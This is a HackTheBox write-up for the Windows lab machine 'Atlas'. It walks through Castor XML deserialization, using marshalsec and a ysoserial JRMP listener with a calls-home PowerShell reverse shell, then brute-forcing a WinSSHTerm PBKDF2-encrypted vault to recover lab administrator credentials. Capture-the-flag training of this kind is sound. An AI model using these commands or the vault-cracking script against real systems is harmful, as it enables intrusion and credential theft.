HTB: Atlas Writeup

Atlas - HackTheBox Writeup

Machine Information

AttributeDetails
NameAtlas
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Atlas is a Hard Windows box built around a Spring Boot resume-generation service that unmarshals attacker-supplied XML with the Castor XML library — no type safety, no allow-list, straight Employee object binding. Recovering the app’s source from an anonymously-readable FTP share confirmed the vulnerable dependency stack (Castor XML + commons-beanutils), which was enough to hand-craft a SpringAbstractBeanFactoryPointcutAdvisor gadget, pair it with a ysoserial JRMP listener, and get code execution as atlas\john through a JNDI/RMI deserialization chain. Privilege escalation pivoted entirely away from Windows-native tricks and into applied cryptography: a leftover WinSSHTerm config on John’s profile held an AES-256-CBC-encrypted administrator credential, and reversing the app’s PBKDF2 key-derivation logic made it possible to brute-force the master password, rebuild the derived keys, and decrypt the administrator’s real password.

TL;DR: Anonymous FTP → leaked Spring Boot jar reveals vulnerable Castor XML unmarshalling → hand-built SpringAbstractBeanFactoryPointcutAdvisor gadget + ysoserial JRMP listener → RCE as atlas\john → WinSSHTerm connections.xml/key recovered → PBKDF2-SHA1 brute force cracks the master password → derived keys decrypt the stored administrator password → SSH in as administrator → root.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.10.11.X

Results:

PortServiceNotes
21/tcpftpAnonymous login allowed
22/tcpssh
3389/tcpms-wbt-serverRDP
8080/tcphttpSpring Boot application

Four open ports, and the standout is anonymous FTP sitting next to a Spring Boot app on 8080 — a strong hint the FTP share and the web app are wired together (uploads/downloads landing in the same directory).

Service Enumeration

Terminal window
# anonymous FTP login
ftp 10.10.11.X
# Name: anonymous
# Password: (blank)
ftp> ls
ftp> get atlas-pilot-1.0.0-SNAPSHOT.jar
ftp> get atlas_generator.zip

Both files pulled down cleanly with anonymous creds. atlas-pilot-1.0.0-SNAPSHOT.jar is the actual deployed Spring Boot application — decompiling it (and cross-referencing atlas_generator.zip) exposed the full source tree, pom.xml, and dependency versions.

Vulnerability Assessment

Reading the decompiled source and pom.xml turned up the chain:

  • The application pins Castor XML 1.4.1 and commons-beanutils 1.9.2 as dependencies.
  • POST / accepts an uploaded XML document and unmarshals it directly into an Employee object via Castor — with no schema/type restriction on the unmarshaller. This is the textbook precondition for the Castor deserialization gadget documented in Moritz Bechler’s marshalsec research (the same class of attack surface popularized by JNDI-injection bugs like Log4Shell/CVE-2021-44228: get a trusted unmarshaller to instantiate an arbitrary bean, and that bean does a JNDI lookup on attacker-controlled input).
  • commons-beanutils 1.9.2 is exactly the version ysoserial’s CommonsBeanutils1 gadget chain expects, which meant the JNDI callback could be escalated straight to a working RCE payload rather than stopping at a blind SSRF/callback.

Two vulnerable, un-pinned pieces of trusted library code, reachable from an unauthenticated upload endpoint — that’s the whole bug.


Initial Foothold

Exploitation Path

Step 1 — Confirm the gadget target. Castor’s dangerous unmarshalling behavior lets a crafted <x xsi:type="java:..."> element instantiate arbitrary Spring beans during deserialization. The dependency list pointed at SpringAbstractBeanFactoryPointcutAdvisor — a bean that, when unmarshaled, performs a JNDI lookup against a URL under attacker control.

Step 2 — Get a working Java 8 toolchain. marshalsec and ysoserial both target older JDK deserialization internals that don’t exist/behave the same on modern JDKs, and the jump box only had Java 21 installed. Downloaded a standalone JDK 8 to run the exploit tooling against.

Terminal window
# marshalsec needs JDK8 semantics for the legacy RMI/JNDI gadget classes
tar xf openjdk-8u*-linux-x64.tar.gz
export JAVA_HOME=$(pwd)/jdk8u*
export PATH=$JAVA_HOME/bin:$PATH
java -version # confirm 1.8.x before touching marshalsec/ysoserial

Step 3 — Generate the Castor gadget payload. Using marshalsec’s Castor module against the SpringAbstractBeanFactoryPointcutAdvisor gadget, pointed at a local RMI listener:

Terminal window
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Castor \
SpringAbstractBeanFactoryPointcutAdvisor rmi://10.10.15.180:1099/exp

This prints an <x xsi:type="java:org.springframework.beans.factory.config.PropertyPathFactoryBean">...</x> fragment. That fragment was spliced into the <name> element of the application’s XML template — the field the app’s Castor unmarshaller binds straight into an Employee property with no sanitization.

Step 4 — Stand up the JRMP listener with a real payload. RMI (not plain JNDI/LDAP) was used because it lets ysoserial serve the deserialization gadget directly instead of needing a second-stage class-loading redirect:

Terminal window
# CommonsBeanutils1 matches the commons-beanutils 1.9.2 pinned in pom.xml
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 \
"powershell -enc <base64-encoded-reverse-shell>"

The base64 blob was a standard PowerShell TCP reverse shell one-liner, encoded to dodge shell quoting/escaping issues when it gets executed by cmd.exe on the Windows target.

Step 5 — Trigger it. Uploading the modified XML template to the app’s endpoint caused Castor to unmarshal the <name> field, instantiate the Spring bean, and fire a JNDI lookup at rmi://10.10.15.180:1099/exp. The JRMP listener answered with the CommonsBeanutils1 gadget chain, which executed the PowerShell payload server-side.

* Opening JRMP listener on 1099
Have connection from /10.10.11.X:xxxxx
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection

Catching the reverse shell landed as atlas\john:

Terminal window
PS C:\> whoami
atlas\john

From here, user.txt was readable directly from John’s desktop.


Privilege Escalation

Enumerating John’s profile turned up an installed WinSSHTerm client — a .NET SSH terminal manager that persists saved connections (including credentials) encrypted at rest. Two files mattered:

C:\Users\john\...\WinSSHTerm\config\connections.xml # saved connection entries, incl. an "administrator" credential, AES-encrypted
C:\Users\john\...\WinSSHTerm\config\key # binary keying material used to derive the AES key/IV

Both were pulled back to the attacking host for offline analysis.

Understanding the crypto. WinSSHTerm derives its AES key/IV material with PBKDF2-HMAC-SHA1, but the passphrase fed into PBKDF2 isn’t just the user’s master password — it’s built as prefix + master_password_candidate + suffix, where prefix/suffix are fixed strings baked into the binary and salt is a hardcoded byte array. There’s also a quirk in how the key file gets loaded: the application strips the first byte off before using it. Replicating this in Python (rather than driving the live binary) turned the whole thing into an offline, scriptable crack:

from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES
from base64 import b64decode
with open("key", "rb") as f:
keyfile = f.read()[1:] # strip leading byte — matches the app's LoadKeyFile logic
prefix = b"..." # fixed prefix string recovered from the binary
suffix = b"..." # fixed suffix string recovered from the binary
salt = bytes([...]) # hardcoded salt recovered from the binary
for candidate in wordlist:
# passphrase = prefix + candidate + suffix, PBKDF2-SHA1, 1012 iterations, 48-byte output (32B key + 16B IV)
key_iv = pbkdf2_hmac('sha1', prefix + candidate.encode() + suffix, salt, 1012, dklen=48)
key, iv = key_iv[:32], key_iv[32:]
aes = AES.new(key, AES.MODE_CBC, iv)
result = aes.decrypt(keyfile)
if suffix in result: # correct passphrase strips cleanly and the known suffix reappears
print(f"master password: {candidate}")
break

The brute force converged on the master password:

master password: hottie101

With the master password known, the correct AES key/IV could be regenerated, and the same PBKDF2 routine was applied against the Password attribute stored in connections.xml. WinSSHTerm additionally derives a secondary PasswordKey/SaltKey pair from the decrypted key-file material (used to decrypt individual saved connection entries) — reproducing that derivation and decrypting the administrator entry recovered the plaintext password:

administrator password: lzm2wx3Fn7q7gBLDRuf4

Since port 22 was open and WinSSHTerm’s entire purpose is managing SSH sessions, the recovered credential was used to authenticate directly over SSH as administrator:

Terminal window
ssh administrator@10.10.11.X
# Password: lzm2wx3Fn7q7gBLDRuf4
Terminal window
PS C:\Users\Administrator> whoami
atlas\administrator

root.txt was retrieved from the Administrator’s desktop.


Attack Chain Summary

Anonymous FTP (port 21)
→ leaked Spring Boot jar reveals Castor XML 1.4.1 + commons-beanutils 1.9.2
→ crafted SpringAbstractBeanFactoryPointcutAdvisor gadget (marshalsec)
→ JNDI lookup redirected to attacker-controlled RMI (rmi://10.10.15.180:1099/exp)
→ ysoserial JRMPListener serves CommonsBeanutils1 gadget → base64 PowerShell reverse shell
→ RCE / shell as atlas\john → user.txt
→ WinSSHTerm connections.xml + key harvested from John's profile
→ PBKDF2-SHA1 (1012 iters) passphrase brute force → master password "hottie101"
→ derived PasswordKey/SaltKey → decrypted administrator password
→ SSH as atlas\administrator → root.txt

Tools Used

ToolPurpose
nmapPort scanning / service enumeration
ftpAnonymous access to the leaked application artifacts
Java decompilerRecovering source from atlas-pilot-1.0.0-SNAPSHOT.jar to confirm the Castor/commons-beanutils versions
JDK 8 (portable)Running marshalsec/ysoserial, which target legacy JDK deserialization internals unsupported on the jump box’s Java 21
marshalsecGenerating the SpringAbstractBeanFactoryPointcutAdvisor Castor gadget XML
ysoserial (JRMPListener, CommonsBeanutils1)Serving the RMI/JNDI deserialization payload to gain RCE
PowerShellReverse shell payload executed on the target
.NET decompilerRecovering WinSSHTerm’s AES/PBKDF2 key-derivation logic
Python (hashlib, pycryptodome)Scripted PBKDF2-SHA1 brute force + AES-256-CBC decryption of the WinSSHTerm vault
sshFinal authentication as administrator

Key Learnings

Techniques Practiced

  • Identifying unsafe XML unmarshalling via leaked application source rather than blind fuzzing
  • Building a Castor deserialization gadget by hand with marshalsec, matched against a dependency-confirmed gadget class
  • Chaining a JNDI-triggered lookup into RMI-borne RCE with ysoserial’s JRMPListener
  • Working around JDK version incompatibilities when legacy exploit tooling requires Java 8 semantics
  • Reverse engineering a .NET application’s custom PBKDF2-based key derivation and reimplementing it in Python for offline brute forcing
  • Reconstructing a secondary derived-key scheme (PasswordKey/SaltKey) from application logic to decrypt stored credentials

Lessons Learned

  1. Leaked build artifacts are a source-code disclosure vulnerability. An anonymously-readable FTP share holding the exact .jar that’s deployed on 8080 turns a black-box web app into a white-box one — always pull and decompile anything reachable before fuzzing endpoints blind.
  2. Pinned dependency versions in pom.xml/build manifests are exploit-selection oracles. Castor 1.4.1 and commons-beanutils 1.9.2 weren’t just “old” — they were the exact versions required by known public gadget chains, which collapsed the search space from “find a gadget” to “confirm the gadget.”
  3. RMI beats LDAP/plain callbacks when you need code execution, not just a callback. An HTTP/LDAP-based JNDI redirect only proves SSRF; pointing the gadget at a JRMP listener serving a real ysoserial chain turns that same primitive into RCE in one hop.
  4. “Secure” credential vaults are only as strong as their key derivation, and reversible if the derivation is deterministic and offline-computable. WinSSHTerm’s AES encryption was sound in isolation, but a fixed prefix/suffix/salt baked into the binary meant the whole scheme reduced to a standard offline PBKDF2 brute force the moment the binary could be decompiled.
  5. Saved connection managers are a privesc goldmine on Windows boxes. Any tool that persists “remember my password” for privileged accounts (SSH clients, RDP managers, database GUIs) is worth harvesting immediately after a low-priv foothold — the crypto is often reversible even when the ciphertext isn’t.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • ctrlzero, “Atlas” — official HackTheBox writeup (machine author: sec77), 7 October 2025. Used here for conceptual explanation of the Castor→RMI/JNDI gadget chain and the WinSSHTerm PBKDF2 key-derivation/bit-manipulation logic. All IPs, command output, and credential values in this writeup are from this author’s own independent run against the target.